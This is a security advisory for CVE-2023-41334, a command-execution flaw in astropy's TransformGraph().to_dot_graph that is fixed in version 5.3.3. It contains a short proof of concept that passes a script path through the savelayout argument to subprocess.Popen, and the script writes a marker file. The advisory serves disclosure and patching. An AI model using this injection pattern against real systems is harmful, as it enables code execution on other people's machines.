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Security Advisories: GSA_kwCzR0hTQS1oMng2LTVqeDUtNDZoZs4AA6Gg

RCE in TranformGraph().to_dot_graph function

Summary

RCE due to improper input validation in TranformGraph().to_dot_graph function

Details

Due to improper input validation a malicious user can provide a command or a script file as a value to savelayout argument, which will be placed as the first value in a list of arguments passed to subprocess.Popen.
https://github.com/astropy/astropy/blob/9b97d98802ee4f5350a62b681c35d8687ee81d91/astropy/coordinates/transformations.py#L539
Although an error will be raised, the command or script will be executed successfully.

PoC

$ cat /tmp/script
#!/bin/bash
echo astrorce > /tmp/poc.txt
$ python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44) 
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from astropy.coordinates.transformations import TransformGraph
>>> tg = TransformGraph()
>>> tg.to_dot_graph(savefn="/tmp/1.txt", savelayout="/tmp/script")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/u32i/.local/lib/python3.9/site-packages/astropy/coordinates/transformations.py", line 584, in to_dot_graph
    stdout, stderr = proc.communicate(dotgraph)
  File "/usr/lib/python3.9/subprocess.py", line 1134, in communicate
    stdout, stderr = self._communicate(input, endtime, timeout)
  File "/usr/lib/python3.9/subprocess.py", line 1961, in _communicate
    input_view = memoryview(self._input)
TypeError: memoryview: a bytes-like object is required, not 'str'
>>> 
$ cat /tmp/poc.txt
astrorce

Impact

code execution on the user's machine

Permalink: https://github.com/advisories/GHSA-h2x6-5jx5-46hf
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oMng2LTVqeDUtNDZoZs4AA6Gg
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 month ago
Updated: about 1 month ago


CVSS Score: 8.4
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Identifiers: GHSA-h2x6-5jx5-46hf, CVE-2023-41334
References: Repository: https://github.com/astropy/astropy
Blast Radius: 34.0

Affected Packages

pypi:astropy
Dependent packages: 1,096
Dependent repositories: 11,150
Downloads: 869,098 last month
Affected Version Ranges: < 5.3.3
Fixed in: 5.3.3
All affected versions: 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.3.1, 0.3.2, 0.4.1, 0.4.2, 0.4.3, 0.4.4, 0.4.5, 0.4.6, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, 1.0.9, 1.0.10, 1.0.11, 1.0.12, 1.0.13, 1.1.1, 1.1.2, 1.2.1, 1.2.2, 1.3.1, 1.3.2, 1.3.3, 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, 2.0.6, 2.0.7, 2.0.8, 2.0.9, 2.0.10, 2.0.11, 2.0.12, 2.0.13, 2.0.14, 2.0.15, 2.0.16, 3.0.1, 3.0.2, 3.0.3, 3.0.4, 3.0.5, 3.1.1, 3.1.2, 3.2.1, 3.2.2, 3.2.3, 4.0.1, 4.0.2, 4.0.3, 4.0.4, 4.0.5, 4.0.6, 4.2.1, 4.3.1, 5.0.1, 5.0.2, 5.0.3, 5.0.4, 5.0.5, 5.0.6, 5.0.7, 5.0.8, 5.1.1, 5.2.1, 5.2.2, 5.3.1, 5.3.2
All unaffected versions: 5.3.3, 5.3.4, 6.0.0, 6.0.1